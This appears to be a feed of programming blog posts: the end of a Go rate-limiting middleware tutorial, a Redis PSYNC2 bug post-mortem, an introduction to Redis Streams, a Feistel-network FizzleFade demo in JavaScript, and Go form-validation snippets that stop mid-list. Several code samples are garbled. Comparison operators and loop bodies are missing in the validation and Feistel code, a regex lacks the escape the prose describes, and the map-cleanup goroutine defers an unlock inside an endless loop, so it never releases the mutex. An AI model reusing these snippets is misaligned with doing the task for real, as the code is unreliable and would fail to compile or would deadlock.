of caution: It is optimized for use in concurrent loops with keys that are stable over time, and either few steady-state stores, or stores localized to one goroutine per key.For use cases that do not share these attributes, it will likely have comparable or worse performance and worse type safety than an ordinary map paired with a read-write mutex. In our particular use-case the map keys will be the IP address of users, and so new keys will be added to the map each time a new user visits our application. We'll also want to prevent undue memory consumption by removing old entries from the map when a user hasn't been seen for a long period of time. So in our case the map keys won't be stable and it's likely that an ordinary map protected by a mutex will perform better. (If you're not familiar with the idea of mutexes or how to use them in Go, then this post has an explanation which you might want to read before continuing). Let's update the limit.go file to contain a basic implementation. I'll keep the code structure deliberately simple. File: ratelimit-demo/limit.go package main import ( "log" "net" "net/http" "sync" "golang.org/x/time/rate" ) // Create a map to hold the rate limiters for each visitor and a mutex. var visitors = make(map[string]*rate.Limiter) var mu sync.Mutex // Retrieve and return the rate limiter for the current visitor if it // already exists. Otherwise create a new rate limiter and add it to // the visitors map, using the IP address as the key. func getVisitor(ip string) *rate.Limiter { mu.Lock() defer mu.Unlock() limiter, exists := visitors[ip] if !exists { limiter = rate.NewLimiter(1, 3) visitors[ip] = limiter } return limiter } func limit(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Get the IP address for the current user. ip, _, err := net.SplitHostPort(r.RemoteAddr) if err != nil { log.Print(err.Error()) http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } // Call the getVisitor function to retreive the rate limiter for // the current user. limiter := getVisitor(ip) if limiter.Allow() == false { http.Error(w, http.StatusText(429), http.StatusTooManyRequests) return } next.ServeHTTP(w, r) }) } Removing old entries from the map There's one problem with this: as long as the application is running the visitors map will continue to grow unbounded. We can fix this fairly simply by recording the last seen time for each visitor and running a background goroutine to delete old entries from the map (and therefore free up memory as we go). File: ratelimit-demo/limit.go package main import ( "log" "net" "net/http" "sync" "time" "golang.org/x/time/rate" ) // Create a custom visitor struct which holds the rate limiter for each // visitor and the last time that the visitor was seen. type visitor struct { limiter *rate.Limiter lastSeen time.Time } // Change the the map to hold values of the type visitor. var visitors = make(map[string]*visitor) var mu sync.Mutex // Run a background goroutine to remove old entries from the visitors map. func init() { go cleanupVisitors() } func getVisitor(ip string) *rate.Limiter { mu.Lock() defer mu.Unlock() v, exists := visitors[ip] if !exists { limiter := rate.NewLimiter(1, 3) // Include the current time when creating a new visitor. visitors[ip] = &visitor{limiter, time.Now()} return limiter } // Update the last seen time for the visitor. v.lastSeen = time.Now() return v.limiter } // Every minute check the map for visitors that haven't been seen for // more than 3 minutes and delete the entries. func cleanupVisitors() { for { time.Sleep(time.Minute) mu.Lock() defer mu.Unlock() for ip, v := range visitors { if time.Now().Sub(v.lastSeen) > 3*time.Minute { delete(visitors, ip) } } } } func limit(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { ip, _, err := net.SplitHostPort(r.RemoteAddr) if err != nil { log.Print(err.Error()) http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } limiter := getVisitor(ip) if limiter.Allow() == false { http.Error(w, http.StatusText(429), http.StatusTooManyRequests) return } next.ServeHTTP(w, r) }) } Some more improvements… For simple applications this code will work fine as-is, but you may want to adapt it further depending on your needs. For example, it might make sense to: Check the X-Forwarded-For or X-Real-IP headers for the IP address, if you are running your server behind a reverse proxy. Port the code to a standalone package. Make the rate limiter and cleanup settings configurable at runtime. Remove the reliance on global variables, so that different rate limiters can be created with different settings. Switch to a sync.RWMutex to help reduce contention on the map.

• Redis PSYNC2 bug post mortem
  Antirez · Dec 02, 2017

  Four days ago a user posted a critical issue in the Redis Github repository. The problem was related to the new Redis 4.0 PSYNC2 replication protocol, and was very critical. PSYNC2 brings a number of good things to Redis replication, including the ability to resynchronize just exchanging the differences, and not the whole data set, after a failover, and even after a slave controlled restart. The problem was about this latter feature: with PSYNC2 the RDB file is augmented with replication information. After a slave is restarted, the replication metadata is loaded back, and the slave is able to perform a PSYNC attempt, trying to handshake with the master and receive the differences since the last disconnection. All this is good news from the point of view of Redis operations, however while PSYNC2 was pretty solid since the introduction in Redis 4.0.0 stable, the feature involving a restarting slave was definitely lacking reliability. There were two problems with this feature: the first being that it was a last-minute addition to PSYNC2, and was not part of the original design document. It was more like an obvious extension of the work we did in PSYNC2, but was not scrutinized at the same level of the rest of the specification for potential bugs and issues. The second problem was due to the fact that the feature is more complex than it looks like initially, for the fact that it’s tricky to really restore *all* the state the replication has in the slave side after a restart. Moreover, failing to restore certain bits of the state, does not result in evident bugs most of the times, so they are hard to spot via integration testings. Only once specific conditions happen the lack of some state will result in problems. For instance failing to correctly reconstruct the currently selected DB in the slave replication state, will create problems only when there are writes happening in different Redis DBs, and such bug would not store correctly the currently selected DB only under special conditions. Thanks to the help of many Redis contributors, but especially thanks to the @soloestoy Github user, a Redis developer at Alibaba, recently we worked at improving a number of PSYNC2 potential issues. All the work done would finally end inside Redis 4.0.3 in a few days, after much testing of all the patches wrote so far. However once I received issue #4483, I understood I had to rush the release of Redis 4.0.3 because this was far more serious than the other Redis 4 PSYNC2 issues that we had discovered up to that point. The bug described in issue #4483 was fairly simple, yet very problematic. After a slave restart and a resulting reloading of the replication state from the RDB, the master replication backlog could contain Lua scripts executions in the form of EVALSHA commands. However the slave Lua scripting engine is flushed of all the scripts after the restart, so is not able to process such commands. This results in the slave not processing writes originated by Lua scripts, unless such scripts were using “commands replication”, which is not the default. The default is to replicate the script itself. I went a bit in panic mode… and wrote a few alternative patches that I submitted to the issue. At the end the one that did not require RDB incompatibilities with older versions was picked, so I went ahead and released Redis 4.0.3 ASAP. However I did a mistake… It’s a few weeks that I work from an office instead of working from home. Normally I do not work at night, but for 4.0.3, when I returned back home, I opened my home laptop and merged the patch into the 4.0 branch, and did some testing activity. The next day when I returned to the office, I continued working from another computer, but I did not realize that I was missing one commit that I merged at home, without pushing it to the repository. So I basically released a 4.0.3 that had all the PSYNC2 fixes minus the most important one for the replication bug. I released ASAP a new patch level version, Redis 4.0.4, including the replication fix. This was already not great: upgrading Redis is a scheduled activity, and nobody wants to upgrade two times because I make errors in preparing the release… But the worst was yet to happen. The fix that I added in 4.0.4, the one about scripts replication in restarting slaves performing PSYNC2, had an error that passed totally unnoticed through all the replication integration tests: the fix involved storing the Lua scripts in the slave memory directly into the RDB, in order to reload them later. However it was not considered that the function loading the scripts, would assert if the script was already in memory, so when a slave received a full synchronization from a master, it started to load the RDB file, crashing immediately because of some duplicated script that was already in memory. A user reported it ASAP via Twitter, and I fixed the problem in less than 45 minutes, from the reporting moment to the 4.0.5 availability, but this does not mitigate all the potential problems that this sequence of failures at delivering a fix caused. The above problems were caused by a number of reasons: 1. Redis 4.0 was delivered as stable too early, considering the complexity and the amount of code change in PSYNC2. The next time, even at the cost of delaying releases, I’ll wait more and will take the new major versions of Redis more time in the last release candidate, so that we can find such bugs before shipping a GA version. 2. I rushed too much trying to deliver a fix for issue #4483. Even if the bug was critical, it was better to spend some time in order to check what was happening, and the potential problems caused by the fix itself. Moreover I was so much in a hurry that I did not check the set of commits composing 4.0.3 with enough care, causing the lack of one of the fixes, and the need for a new release. 3. While Redis 4.0 has very strict PSYNC2 unit and integration tests, including tests that simulate continuous failovers checking data consistency at every step, because of this bug I discovered that the tests never try to mix PSYNC2 with replication of Lua scripts. This must be improved. Also the PSYNC2 replication after slave RDB restart must be enhanced as well. I’ll start with the improvements at “3”, and in the future I’ll consider the lessons at “1” and “2” before every new release. My sincere apologize to everybody that had to deal with my errors in this instance, and a big thank you to @soloestoy for an incredible amount of help and support. Comments

• Streams: a new general purpose data structure in Redis.
  Antirez · Oct 02, 2017

  Until a few months ago, for me streams were no more than an interesting and relatively straightforward concept in the context of messaging. After Kafka popularized the concept, I mostly investigated their usefulness in the case of Disque, a message queue that is now headed to be translated into a Redis 4.2 module. Later I decided that Disque was all about AP messaging, which is, fault tolerance and guarantees of delivery without much efforts from the client, so I decided that the concept of streams was not a good match in that case. However, at the same time, there was a problem in Redis, that was not taking me relaxed about the data structures exported by default. There is some kind of gap between Redis lists, sorted sets, and Pub/Sub capabilities. You can kindly use all these tools in order to model a sequence of messages or events, but with different tradeoffs. Sorted sets are memory hungry, can’t model naturally the same message delivered again and again, clients can’t block for new messages. Because a sorted set is not a sequential data structure, it’s a set where elements can be moved around changing their scores: no wonder if it was not a good match for things like time series. Lists have different problems creating similar applicability issues in certain use cases: you cannot explore what is in the middle of a list because the access time in that case is linear. Moreover no fan-out is possible, blocking operations on list serve a single element to a single client. Nor there was a fixed element identifier in lists, in order to say: given me things starting from that element. For one-to-many workloads there is Pub/Sub, which is great in many cases, but for certain things you do not want fire-and-forget: to retain a history is important, not just to refetch messages after a disconnection, also because certain list of messages, like time series, are very important to explore with range queries: what were my temperature readings in this 10 seconds range? The way I tried to address the above problems, was planning a generalization of sorted sets and lists into a unique more flexible data structure, however my design attempts ended almost always in making the resulting data structure ways more artificial than the current ones. One good thing about Redis is that the data structures exported resemble more the natural computer science data structures, than, “this API that Salvatore invented”. So in the end, I stopped my attempts, and said, ok that’s what we can provide so far, maybe I’ll add some history to Pub/Sub, or some more flexibility to lists access patterns in the future. However every time an user approached me during a conference saying “how would you model time series in Redis?” or similar related questions, my face turned green. Genesis ======= After the introduction of modules in Redis 4.0, users started to see how to fix this problem themselves. One of them, Timothy Downs, wrote me the following over IRC: the module I'm planning on doing is to add a transaction log style data type - meaning that a very large number of subscribers can do something like pub sub without a lot of redis memory growth subscribers keeping their position in a message queue rather than having redis maintain where each consumer is up to and duplicating messages per subscriber This captured my imagination. I thought about it a few days, and realized that this could be the moment when we could solve all the above problems at once. What I needed was to re-imagine the concept of “log”. It is a basic programming element, everybody is used to it, because it’s just as simple as opening a file in append mode and writing data to it in some format. However Redis data structures must be abstract. They are in memory, and we use RAM not just because we are lazy, but because using a few pointers, we can conceptualize data structures and make them abstract, to allow them to break free from the obvious limits. For instance normally a log has several problems: the offset is not logical, but is an actual bytes offset, what if we want logical offsets that are related to the time an entry was inserted? We have range queries for free. Similarly, a log is often hard to garbage collect: how to remove old elements in an append only data structure? Well, in our idealized log, we just say we want at max this number of entries, and the old ones will go away, and so forth. While I was trying to write a specification starting from the seed idea of Timothy, I was working to a radix tree implementation that I was using for Redis Cluster, to optimize certain parts of its internals. This provided the ground in order to implement a very space efficient log, that was still accessible in logarithmic time to get ranges. At the same time I started reading about Kafka streams to get other interesting ideas that could fit well into my design, and this resulted into getting the concept of Kafka consumer groups, and idealizing it again for Redis and the in-memory use case. However the specification remained just a specification for months, at the point that after some time I rewrote it almost from scratch in order to upgrade it with many hints that I accumulated talking with people about this upcoming addition to Redis. I wanted Redis streams to be a very good use case for time series especially, not just for other kind of events and messaging applications. Let’s write some code ===================== Back from Redis Conf, during the summertime, I was implementing a library called “listpack”. This library is just the successor of ziplist.c, that is, a data structure that can represent a list of string elements inside a single allocation. It’s just a very specialized serialization format, with the peculiarity of being parsable also in reverse order, from right to left: something needed in order to substitute ziplists in all the use cases. Mixing radix trees + listpacks, it is possible to easily build a log that is at the same time very space efficient, and indexed, that means, allowing for random access by IDs and time. Once this was ready, I started to write the code in order to implement the stream data structure. I’m still finishing the implementation, however at this point, inside the Redis “streams” branch at Github, there is enough to start playing and having fun. I don’t claim that the API is 100% final, but there are two interesting facts: one is that at this point, only the consumer groups are missing, plus a number of less important commands to manipulate the stream, but all the big things are implemented already. The second is the decision to backport all the stream work back into the 4.0 branch in about two months, once everything looks stable. It means that Redis users will not have to wait for Redis 4.2 in order to use streams, they will be available ASAP for production usage. This is possible because being a new data structure, almost all the code changes are self-contained into the new code. With the exception of the blocking list operations: the code was refactored so that we share the same code for streams and lists blocking operations, with a great simplification of the Redis internals. Tutorial: welcome to Redis Streams ================================== In some way, you can think at streams as a supercharged version of Redis lists. Streams elements are not just a single string, they are more objects composed of fields and values. Range queries are possible and fast. Each entry in a stream has an ID, which is a logical offset. Different clients can blocking-wait for elements with IDs greater than a specified one. A fundamental command of Redis streams is XADD. Yes, all the Redis stream commands are prefixed by an “X”. > XADD mystream * sensor-id 1234 temperature 10.5 1506871964177.0 The XADD command will append the specified entry as a new element to the specified stream “mystream”. The entry, in the example above, has two fields: sensor-id and temperature, however each entry in the same stream can have different fields. Using the same field names will just lead to better memory usage. An interesting thing is also that the fields order is guaranteed to be retained. XADD returns the ID of the just inserted entry, because with the asterisk in the third argument, we asked the command to auto-generate the ID. This is almost always what you want, but it is possible also to force a specific ID, for instance in order to replicate the command to slaves and AOF files. The ID is composed of two parts: a millisecond time and a sequence number. 1506871964177 is the millisecond time, and is just a Unix time with millisecond resolution. The number after the dot, 0, is the sequence number, and is used in order to distinguish entries added in the same millisecond. Both numbers are 64 bit unsigned integers. This means that we can add all the entries we want in a stream, even in the same millisecond. The millisecond part of the ID is obtained using the maximum between the current local time of the Redis server generating the ID, and the last entry inside the stream. So even if, for instance, the computer clock jumps backward, the IDs will continue to be incremental. In some way you can think stream entry IDs as whole 128 bit numbers. However the fact that they have a correlation with the local time of the instance where they are added, means that we have millisecond precision range queries for free. As you can guess, adding two entries in a very fast way, will result in only the sequence number to be incremented. We can simulate the “fast insertion” simply with a MULTI/EXEC block: > MULTI OK > XADD mystream * foo 10 QUEUED > XADD mystream * bar 20 QUEUED > EXEC 1) 1506872463535.0 2) 1506872463535.1 The above example also shows how we can use different fields for different entries without having to specifying any schema initially. What happens however is that every first message of every block (that usually contains something in the range of 50-150 messages) is used as reference, and successive entries having the same fields are compressed with a single flag saying “same fields of the first entry in this block”. So indeed using the same fields for successive messages saves a lot of memory, even when the set of fields slowly change over time. In order to retrieve data from the stream there are two ways: range queries, that are implemented by the XRANGE command, and streaming, implemented by the XREAD command. XRANGE just fetches a range of items from start to stop, inclusive. So for instance I can fetch a single item, if I know its ID, with: > XRANGE mystream 1506871964177.0 1506871964177.0 1) 1) 1506871964177.0 2) 1) "sensor-id" 2) "1234" 3) "temperature" 4) "10.5" However you can use the special start symbol of “-“ and the special stop symbol of “+” to signify the minimum and maximum ID possible. It’s also possible to use the COUNT option in order to limit the amount of entries returned. A more complex XRANGE example is the following: > XRANGE mystream - + COUNT 2 1) 1) 1506871964177.0 2) 1) "sensor-id" 2) "1234" 3) "temperature" 4) "10.5" 2) 1) 1506872463535.0 2) 1) "foo" 2) "10" Here we are reasoning in terms of ranges of IDs, however you can use XRANGE in order to get a specific range of elements in a given time range, because you can omit the “sequence” part of the IDs. So what you can do is to just specify times in milliseconds. The following means: “Give me 10 entries starting from the Unix time 1506872463”: 127.0.0.1:6379> XRANGE mystream 1506872463000 + COUNT 10 1) 1) 1506872463535.0 2) 1) "foo" 2) "10" 2) 1) 1506872463535.1 2) 1) "bar" 2) "20" A final important thing to note about XRANGE is that, given that we receive the IDs in the reply, and the immediately successive ID is trivially obtained just incrementing the sequence part of the ID, it is possible to use XRANGE to incrementally iterate the whole stream, receiving for every call the specified number of elements. After the *SCAN family of commands in Redis, that allowed iteration of Redis data structures *despite* the fact they were not designed for being iterated, I avoided to make the same error again. Streaming with XREAD: blocking for new data =========================================== XRANGE is perfect when we want to access our stream to get ranges by ID or time, or single elements by ID. However in the case of streams that different clients must consume as data arrives, this is not good enough and would require some form of pooling (that could be a good idea for *certain* applications that just connect from time to time to get data). The XREAD command is designed in order to read, at the same time, from multiple streams just specifying the ID of the last entry in the stream we got. Moreover we can request to block if no data is available, to be unblocked when data arrives. Similarly to what happens with blocking list operations, but here data is not consumed from the stream, and multiple clients can access the same data at the same time. This is a canonical example of XREAD call: > XREAD BLOCK 5000 STREAMS mystream otherstream $ $ And it means: get data from “mystream” and “otherstream”. If no data is available, block the client, with a timeout of 5000 milliseconds. After the STREAMS option we specify the keys we want to listen for, and the last ID we have. However a special ID of “$” means: assume I’ve all the elements that there are in the stream right now, so give me just starting from the next element arriving. If, from another client, I send the commnad: > XADD otherstream * message “Hi There” This is what happens on the XREAD side: 1) 1) "otherstream" 2) 1) 1) 1506935385635.0 2) 1) "message" 2) "Hi There" We get the key that received data, together with the data received. In the next call, we’ll likely use the ID of the last message received: > XREAD BLOCK 5000 STREAMS mystream otherstream $ 1506935385635.0 And so forth. However note that with this usage pattern, it is possible that the client will connect again after a very big delay (because it took time to process messages, or for any other reason). In such a case, in the meantime, a lot of messages could pile up, so it is wise to always use the COUNT option with XREAD, in order to make sure the client will not be flooded with messages and the server will not have to lose too much time just serving tons of messages to a single client. Capped streams ============== So far so good… however streams at some point have to remove old messages. Fortunately this is possible with the MAXLEN option of the XADD command: > XADD mystream MAXLEN 1000000 * field1 value1 field2 value2 This basically means, if the stream, after adding the new element is found to have more than 1 million messages, remove old messages so that the length returns back to 1 million elements. It’s just like using RPUSH + LTRIM with lists, but this time we have a built-in mechanism to do so. However note that the above means that every time we add a new message, we have also to incur in the work needed in order to remove a message from the other side of the stream. This takes some CPU, so it is possible to use the “~” symbol before the count in MAXLEN, in order to specify that we are not really demanding *exactly* 1 million messages, but if there are a few more it’s not a big problem: > XADD mystream MAXLEN ~ 1000000 * foo bar This way XADD will remove messages only when it can remove a whole node. This will make having the capped stream almost for free compared to vanilla XADD. Consumer groups (work in progress) ================================== This is the first of the features that is not already implemented in Redis, but is a work in progress. It is also the idea more clearly inspired by Kafka, even if implemented here in a pretty different way. The gist is that with XREAD, clients can also add a “GROUP ” option. Automatically all the clients in the same group will get *different* messages. Of course there could be multiple groups reading from the same stream, in such cases all groups will receive duplicates of the same messages arriving in the stream, but within each group, messages will not be repeated. An extension to groups is that it will be possible to specify a “RETRY ” option when groups are specified: in this case, if messages are not acknowledged for processing with XACK, they will be delivered again after the specified amount of milliseconds. This provides some best effort reliability to the delivering of the messages, in case the client has no private means to mark messages as processed. This part is a work in progress as well. Memory usage and saving loading times ===================================== Because of the design used to model Redis streams, the memory usage is remarkably low. It depends on the number of fields, values, and their lengths, but for simple messages we are at a few millions of messages for every 100 MB of used memory. Moreover, the format is conceived to need very minimal serialization: the listpack blocks that are stored as radix tree nodes, have the same representation on disk and in memory, so they are trivially stored and read. For instance Redis can read 5 million entries from the RDB file in 0.3 seconds. This makes replication and persistence of streams very efficient. It is planned to also allow deletion of items in the middle. This is only partially implemented, but the strategy is to mark entries as deleted in the entry flag, and when a given ratio between entries and deleted entires is reached, the block is rewritten to collect the garbage, and if needed it is glued to another adjacent block in order to avoid fragmentation. Conclusions end ETA =================== Redis streams will be part of Redis stable in the 4.0 series before the end of the year. I think that this general purpose data structure is going to put a huge patch in order for Redis to cover a lot of use cases that were hard to cover: that means that you had to be creative in order to abuse the current data structures to fix certain problems. One very important use case is time series, but my feeling is that also streaming of messages for other use cases via TREAD is going to be very interesting both as replacement for Pub/Sub applications that need more reliability than fire-and-forget, and for completely new use cases. For now, if you want to start to evaluate the new capabilities in the context of your problems, just fetch the “streams” branch at Github and start playing. After all bug reports are welcome :-) If you like videos, a real-time session showing streams is here: https://www.youtube.com/watch?v=ELDzy9lCFHQ Comments

• Doing the FizzleFade effect using a Feistel network
  Antirez · Aug 29, 2017

  Today I read an interesting article about how the Wolfenstein 3D game implemented a fade effect using a Linear Feedback Shift Register. Every pixel of the screen is set red in a pseudo random way, till all the screen turns red (or other colors depending on the event happening in the game). The blog post describing the implementation is here and is a nice read: http://fabiensanglard.net/fizzlefade/index.php You may wonder why the original code used a LFSR or why I'm proposing a different approach, instead of the vanilla setPixel(rand(),rand()): doing this with a pseudo random generator, as noted in the blog post, is slow, but is also visually very unpleasant, since the more red pixels you have on the screen already, the less likely is that you hit a new yet-not-red pixel, so the final pixels take forever to turn red (I *bet* that many readers of this blog post tried it in the old times of the Spectum, C64, or later with QBASIC or GWBasic). In the final part of the blog post the author writes: "Because the effect works by plotting pixels individually, it was hard to replicate when developers tried to port the game to hardware accelerated GPU. None of the ports managed to replicate the fizzlefade except Wolf4SDL, which found a LFSR taps configuration to reach resolution higher than 320x200.” While not rocket science, it was possibly hard for other resolutions to find a suitable LFSR. However regardless of the real complexity of finding an appropriate LFSR for other resolutions, the authors of the port could use another technique, called a Feistel Network, to get exactly the same result in a trivial way. What is a Feistel Network? === It’s a building block typically used in cryptography: it creates a transformation between a sequence of bits and another sequence of bits, so that the transformation is always invertible, even if you use all the kind of non linear transformations inside the Feistel network. In practical terms the Feistel network can, for example, translate a 32 bit number A into another 32 bit number B, according to some function F(), so that you can always go from B to A later. Because the function is invertible, it implies that for every input value the Feistel network generates *a different* output value. This is a simple Feistel network in pseudo code: Split the input into L and R halves (Example: L = INPUT & 0xFF, R = INPUT >> 8) REPEAT for N rounds: next_L = R R = L XOR F(R) L = next_L END RETURN the value composing L and R again into a single sequence of bits: R So we basically split a (for example) 16 bit integer into two 8 bit integers L and R, perform some transformation for N rounds, and recompose them back into a 16 bit integer, which is our output. But how is this useful for our problem of implementing FizzleFade? Well you can imagine your 2D screen like a linear array of pixels. If the resolution is 320x200 like in the original game you have from pixel 0 to pixel 63999. So for every integer from 0 to 63999 we can generate a random looking pixel position just by counting and setting the pixel in the position returned by the Feistel network. The problem is that the Feistel network works in bits, so we can’t have exactly from 0 to 63999, we have to pick a power of two which is large enough. The nearest is 16 in this case: with 16 bits we have 65536 integer-to-integer transformations, a few cycles will not be used to set an actual pixel but is not a big waste. So, this is how our Feistel network looks like, in Javascript: /* Transforms the 16 bit input into another seemingly psenduo random number * in the same range. Every input 16 bit input will generate a different * 16 bit output. This is called a Feistel network. */ function feistelNet(input) { var l = input & 0xff; var r = input >> 8; for (var i = 0; i var nl = r; var F = (((r * 11) + (r >> 5) + 7 * 127) ^ r) & 0xff; r = l ^ F; l = nl; } return ((r} The non linear transformation “F” I’m using is just a few random multiplications and shifts, picked mostly at random. I’m using 8 rounds even if it is probably not needed with a better F function, but I want the effect to look random (coincidentally drawing random pixels is a decent way to visually spot trivial bad distribution properties). Implementing this using a Javascript canvas we need a few more functions, to get a 2D context and set a pixel. The final code is in this Gist: https://gist.github.com/antirez/6d58860b221a6ae5622ced8ccdddbe47 You can see the result here: http://antirez.com/misc/fizzlefade.html The original problem to explore in this article was to find a way to implement the effect in different resolutions, so even if it is a trivial extension of the 320x200 case, just to make an example, imagine you want to implement the same with 1024*768. There are 786432 pixels, so 2^20 will fit quite well with 1048576 possible integers. We’ll have to modify the Feistel network to have 20 bits input/output by using 10 bits L and R variables, otherwise everything is pretty much the same, but remember to also change the stop condition (that checks the number of frames). Actually Feistel networks one-to-one pseudo random mapping properties are very useful in other contexts as well. For instance I used it in my radix tree implementation tests (https://github.com/antirez/rax in case you are curious). A good tool to have in a programmer mental box. Comments

• Validation snippets for Go
  Alex Edwards · Aug 05, 2017

  Over the past few years I've built up a collection of snippets for validating inputs in Go. There's nothing new or groundbreaking here, but hopefully they might save you some time. The snippets assume that the data to validate is stored as strings in r.Form, but the principles are the same no matter where the data has come from. Required inputs Blank text Min and max length (bytes) Min and max length (number of characters) Starts with, ends with and contains Matches regular expression pattern Unicode character range Email validation URL validation Integers Floats Date Datetime-local Radio, Select and Datalist (one-in-set) Checkboxes (many-in-set) Single checkbox Required inputs If you have the HTML form: You can verify that a value for the "foo" field has been submitted with: if r.Form.Get("foo") == "" { fmt.Println("error: foo is required") } For checkbox and select inputs this will ensure that at least one item has been checked. Blank text If you have the HTML form: You can verify that a value for the "foo" field isn't blank (i.e. contains whitespace only) with the strings.TrimSpace function: import "strings" ··· if strings.TrimSpace(r.Form.Get("foo")) == "" { fmt.Println("error: foo must not be blank") } Min and max length (bytes) If you have the HTML form: You can verify that the "foo" field contains a certain number of bytes with the builtin len function: l := len(r.Form.Get("foo")) if l 10 { fmt.Println("error: foo must be between 5 and 10 bytes long") } Min and max length (number of characters) If you have the HTML form: You can verify that the "foo" field contains a certain number of characters with the utf8.RuneCountInString function. This is subtly different to checking the number of bytes. For example, the string "Zoë" contains 3 characters but is 4 bytes long because of the accented character. import "unicode/utf8" ··· l := utf8.RuneCountInString(r.Form.Get("foo")) if l 10 { fmt.Println("error: foo must be between 5 and 10 characters long") } Starts with, ends with and contains If you have the HTML form: You can verify that the "foo" field starts with, ends with, or contains a particular string using the functions in the strings package: import "strings" ··· // Check that the field value starts with 'abc'. if !strings.HasPrefix(r.Form.Get("foo"), "abc") { fmt.Println("error: foo does not start with 'abc'") } // Check that the field value ends with 'abc'. if !strings.HasSuffix(r.Form.Get("foo"), "abc") { fmt.Println("error: foo does not end with 'abc'") } // Check that the field value contains 'abc' anywhere in it. if !strings.Contains(r.Form.Get("foo"), "abc") { fmt.Println("error: foo does not contain 'abc'") } Matches regular expression pattern If you have the HTML form: You can verify that the "foo" field matches a particular regular expression using the regexp package. For example, to check that it matches the pattern ^[a-z]{4}\.[0-9]{2}$ (four lowercase letters followed by a period and two digits): import "regexp" ··· // Pre-compiling the regular expression and storing it in a variable is more efficient // if you're going to use it multiple times. The regexp.MustCompile function will // panic on failure. var rxPat = regexp.MustCompile(`^[a-z]{4}.[0-9]{2}$`) if !rxPat.MatchString(r.Form.Get("foo")) { fmt.Println("error: foo does not match the required pattern") } Note that because the dot character has a special meaning in regular expressions, we escaped it using the \ character so it is interpreted as a literal period character instead. In the example above we also used a raw string for the regular expression. If you use an interpreted string (i.e. a string surrounded by double quotes), you need to escape the backslash too because that's the escape character for interpreted strings. So you would need to write: var rxPat = regexp.MustCompile("^[a-z]{4}\.[0-9]{2}$") If you're not familiar with regular expressions then this guide from Mozilla is a good explanation. Unicode character range If you have the HTML form: You can verify that the "foo" field only contains characters in a certain unicode range using the regexp package. For example, to check that it contains only Cyrillic characters in the two unicode blocks 0400 - 04FF (Cyrillic) and 0500 - 052F (Cyrillic Supplementary): import "regexp" ··· // Use an interpreted string and the \u escape notation to create a regular // expression matching the range of characters in the two unicode code blocks. var rxCyrillic = regexp.MustCompile("^[\u0400-\u04FF\u0500-\u052F]+$") if !rxCyrillic.MatchString(r.Form.Get("foo")) { fmt.Println("error: foo must only contain Cyrillic characters") } Email validation If you have the HTML form: You can sanity check that the "foo" field contains an email address using the regexp package. Choosing a regular expression to use for email validation is a contentious topic, but as a starting point I would suggest the pattern recommended by the W3C and Web Hypertext Application Technology Working Group. In addition, the email addresses have a practical limit of 254 bytes. Putting those together, a decent sanity check is: import "regexp" ··· var rxEmail = regexp.MustCompile("^[a-zA-Z0-9.!#$%&'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$") e := r.Form.Get("foo") if len(e) > 254 || !rxEmail.MatchString(e) { fmt.Println("error: foo is not a valid email address") } Note that we have to use an interpreted string for the regular expression because it contains a backtick character (which means we can't use a raw string). URL validation If you have the HTML form: You can verify that the "foo" field contains a valid URL by first parsing it with the url.Parse function. This will take a URL string, break it into it's component pieces, and store it as a url.URL struct. You can then sanity check the component pieces as necessary. For instance, to check that a URL is absolute (i.e has both a scheme and host) and that the scheme is either http or https: import "net/url" ··· // If there are any major problems with the format of the URL, url.Parse() will // return an error. u, err := url.Parse(r.Form.Get("foo")) if err != nil { fmt.Println("error: foo is not a valid URL") } else if u.Scheme == "" || u.Host == "" { fmt.Println("error: foo must be an absolute URL") } else if u.Scheme != "http" && u.Scheme != "https" { fmt.Println("error: foo must begin with http or https") } Integers If you have the HTML form: You can verify that the "foo" field contains an integer by parsing it with the strconv.Atoi function. You can then sanity check the integer as necessary. For instance, to check that an integer is a multiple of 5 between 0 and 100: import "strconv" ··· n, err := strconv.Atoi(r.Form.Get("foo")) if err != nil { fmt.Println("error: foo must be an integer") } else if n 10 { fmt.Printf("error: foo must be between 0 and 100") } else if n%5 != 0 { fmt.Println("error: foo must be an multiple of 5") } Floats If you have the HTML form: You can verify that the "foo" field contains an integer by parsing it with the strconv.ParseFloat function. You can then sanity check the float as necessary. For instance, to check that an float is a between 0 and 1: import "strconv" n, err := strconv.ParseFloat(r.Form.Get("foo"), 64) if err != nil { fmt.Println("error: foo must be a float") } else if n 1 { fmt.Printf("error: foo must be between 0 and 1") } Date If you have the HTML form: You can verify that the "foo" field contains a valid date by parsing it with the time.Parse function. It will return an error if the date is not real: any day of month larger than 31 is rejected, as is February 29 in non-leap years, February 30, February 31, April 31, June 31, September 31, and November 31. If you're not familiar with time.Parse, it converts strings with a given format into a time.Time object. You specify what the format is by passing the reference time (Mon Jan 2 15:04:05 -0700 MST 2006) as the first parameter, laid-out in the format you want. If you are expecting a date in the format YYYY-MM-DD then the reference time is 2006-01-02. You can then use the various functions in the time package to sanity check the date as necessary. For instance, to check that an date is valid and between 2017-01-01 and 2017-12-31: import "time" ··· d, err := time.Parse("2006-01-02", r.Form.Get("foo")) if err != nil { fmt.Printf("error: foo is not a valid date") } else if d.Year() != 2017 { fmt.Printf("error: foo is not between 2017-01-01 and 2017-12-31") } Datetime-local If you have the HTML form: You can verify that the "foo" field contains a valid datetime for a specific location by parsing it with the time.ParseInLocation function. This will return an error if the date is not real: any day of month larger than 31 is rejected, as is February 29 in non-leap years, February 30, February 31, April 31, June 31, September 31, and November 31. For instance, to check that an datetime for the "Europe/Vienna" timezone is valid and between 2017-01-01 00:00 and 2017-12-31 23:59: import "time" ··· // Load the users local time zone. This accepts a location name corresponding // to a file in your IANA Time Zone database. loc, err := time.LoadLocation("Europe/Vienna") if err != nil { ··· } d, err := time.ParseInLocation("2006-01-02T15:04:05", r.Form.Get("foo"), loc) if err != nil { fmt.Printf("error: foo is not a valid datetime") } else if d.Year() != 2017 { fmt.Printf("error: foo is not between 2017-01-01 00:00:00 and 2017-12-31 23:59:00") } The time zone database needed by LoadLocation may not be present on all systems, especially non-Unix systems. LoadLocation looks in the directory or uncompressed zip file named by the ZONEINFO environment variable, if any, then looks in known installation locations on Unix systems, and finally looks in $GOROOT/lib/time/zoneinfo.zip. Radio, Select and Datalist (one-in-a-set) 